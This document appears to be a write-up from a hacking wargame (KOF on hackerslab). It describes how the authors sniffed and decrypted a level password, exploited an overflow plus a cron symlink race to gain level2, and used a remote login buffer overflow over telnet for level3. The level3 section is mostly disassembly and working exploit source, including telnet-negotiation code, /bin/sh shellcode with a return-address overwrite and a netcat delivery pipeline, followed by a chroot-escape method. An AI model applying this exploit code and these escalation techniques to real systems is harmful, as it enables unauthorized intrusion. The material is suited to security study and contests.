http://kof.hackerslab.org/doc/root_66.txt



This is the session in which we found the password. Server responses start

with '<', comments start with '#', "x03" is like in normal C string.



# Just sniffed most of this from the client

KOFLOG guest eYuPgOwFzx03


KOFGETLIST guest




KOFGETINFO level1


# Give me that rfc! ;)

KOFGETINFO guest level


KOFGETINFO guest guest

KOFGETINFO guest guest


KOFGETINFO guest guest


# Looks interesting, let`s try something different

KOFLOG level1 cWsNeMuDxx05


# That`s an interesting password, let`s decrypt that



The decryption/encryption algorithm was easy after a few hours of thinking

and trying disassembly...



void our_decryption_function(const char *encrypted, char *decrypted) {

int length = strlen(encrypted), salt, i;

salt = encrypted[length - 1];

for (i=0; i < length - 1; i++)

decrypted[i] = encrypted[i] - 1 - i + salt;

decrypted[i] = 0;

}



















We didn't get our homedir from level2 box so i don't remember all offsets etc,

but it was like this:



there was a 1 byte overflow for the username buffer, which overflowed into the

score integer. The score integer was then passes as length to get_yn which made

it possible to overflow a buffer in get_yn because the length could set very high.



the exploit was like:



give a big username

solve a load of questions very fast via a perl script

do the basic overflow for the get_yn() function (do you want to continue? [y/n])



We had to add an alarm(0) and setgid(501) to the shellcode to make it hold for

longer then 1 second :)



this gave us gid level2, after that we put some commands in /usr/games/check2

and build a racer which tried to symlink /usr/games/check2 to /usr/games/check,

so when crontab was ran and deleted /usr/games/check our check2 was ran.

this gave us uid level2



















Level3:



there was a bug in login started by telnetd



---- Function : get_serial ----

Referenced from call at 08048eaa ;



08048d44 push %ebp

08048d45 mov %esp,%ebp

08048d47 sub $0xd8,%esp

08048d4d add $0xfffffff4,%esp





Possible reference to string:

"Serial Number: "



08048d50 push $0x80498e0



Reference to function : printf@@SYSVABI_1.3



08048d55 call 08048b84 <_init+0x204>

08048d5a add $0x10,%esp

08048d5d add $0xfffffffc,%esp

08048d60 push $0x804ad00

08048d65 push $0x100

08048d6a lea 0xffffff38(%ebp),%eax

08048d70 push %eax



Reference to function : fgets@@SYSVABI_1.3



08048d71 call 08048a54 <_init+0xd4>

08048d76 add $0x10,%esp

08048d79 add $0xfffffff8,%esp

08048d7c push $0xa

08048d7e lea 0xffffff38(%ebp),%eax

08048d84 push %eax



Reference to function : strchr@@SYSVABI_1.3



08048d85 call 080489e4 <_init+0x64>

08048d8a add $0x10,%esp

08048d8d mov %eax,%eax

08048d8f mov %eax,%edx

08048d91 mov %edx,0xffffff34(%ebp)

08048d97 test %edx,%edx

08048d99 je 08048dba

08048d9b lea 0xffffff38(%ebp),%eax

08048da1 mov 0xffffff34(%ebp),%edx

08048da7 sub %eax,%edx

08048da9 cmp $0x100,%edx

08048daf jg 08048dba

08048db1 mov 0xffffff34(%ebp),%eax

08048db7 movb $0x0,(%eax)



Referenced from jump at 08048d99 (C); 08048daf (C);



08048dba movb $0x0,0x37(%ebp)

08048dbe add $0xfffffff4,%esp

08048dc1 lea 0xffffff38(%ebp),%eax

08048dc7 push %eax



Reference to function : strlen@@SYSVABI_1.3



08048dc8 call 08048a04 <_init+0x84>

08048dcd add $0x10,%esp

08048dd0 mov %eax,%eax

08048dd2 lea 0xffffff38(%ebp),%edx

08048dd8 movb $0x0,(%eax,%edx,1)

08048ddc add $0xfffffffc,%esp

08048ddf push $0xc8

08048de4 lea 0xffffff38(%ebp),%eax

08048dea push %eax

08048deb mov 0x8(%ebp),%eax

08048dee push %eax



Reference to function : strncpy@@SYSVABI_1.3



08048def call 08048b14 <_init+0x194>

08048df4 add $0x10,%esp

08048df7 leave

08048df8 ret

08048df9 lea 0x0(%esi),%esi



which boils down to:



char * get_serial(char *login, char wat[51])

{ char buf[200];

char *p;

printf ("Serial Number: ");

fgets(buf, 256, stdin);

if ((p=strchr(buf, 0xa)) != NULL && p - buf < 256)

*p = 0;

wat = 0; // movb $0x0,0x37(%ebp)

buf[strlen(buf)] = 0;

return strncpy(login, buf, 200);

}



this is a nice simple overflow but there was one problem, we had to do it over

the telnet protocol. This ment we had to include some telnet negotiation and put

the straem to 8 bit and escape 0x0a and 0xff



the exploit was like this:



--inittel.c--

char term[] =

"xffxfbx18xffxfbx1fxffxfax1fx00x50x00x3cxffxf0xff"

"xfcx23xffxfbx27xffxfcx24"

"xffxfax18x00x43x4fx4ex53x32x35xffxf0xffxfax27x00"

"x00x55x53x45x52x01x72x6fx6fx74xffxf0"

"xffxfdx01xffxfdx03xffxfcx01xffxfdx00xffxfbx00" ;



void main(void)

{

unsigned char bla;

write(1, term, sizeof(term)-1);

while(read(0, &bla, 1) == 1) {

if (bla == 0xff) {

write(1, "xff", 1);

}

write(1, &bla, 1);

if (bla == 0xa) {

write(1, "x00", 1);

}

}

}



--shell.c--

char shell[]=

"xebx48x9axffxffxffxffx07xffxc3x5ex31xc0x89x46xb4"

"x88x46xb9x88x46x07x89x46x0cx31xc0x50xb0x8dxe8xdf"

"xffxffxffx83xc4x04x31xc0x50xb0x17xe8xd2xffxffxff"

"x83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89x5ex08x53"

"xb0x3bxe8xbbxffxffxffx83xc4x0cxe8xbbxffxffxffx2f"

"x62x69x6ex2fx73x68xffxffxffxffxffxff";

// "x74x6dx70x2fx74x74xffxffxffxffxffxff";



unsigned int esp = 0x8040000;

unsigned int eipinbuf = 204;

int main(int argc, char ** argv)

{

int i;

unsigned char buffer[1024];

esp += strtol(argv[1], 0, 0);

// printf("Trying esp 0x%xn", esp);

// eipinbuf = strtol(argv[2], 0, 0);

bzero(buffer, sizeof(buffer));

memset(buffer, 0x41, 32);

strcpy(buffer+32, shell);

*(unsigned int *)(buffer + eipinbuf) = (unsigned int)esp;

write(1, buffer, eipinbuf+4);

write(1, "An", 2);

}





netcat was just the normal l0pht netcat



to exploit it we used:



(sleep 1; ./shell 30640; sleep 1; cat) | ./inittel | ~/netcat 0 23



which gave us a shell in the chroot environment, all left was break out of

chroot which is very simple if sunos lets you open a directory, chroot to a

directory in that directory and then let you fchdir out of it. nothing fancy or

origional about that, just the plain wellknown method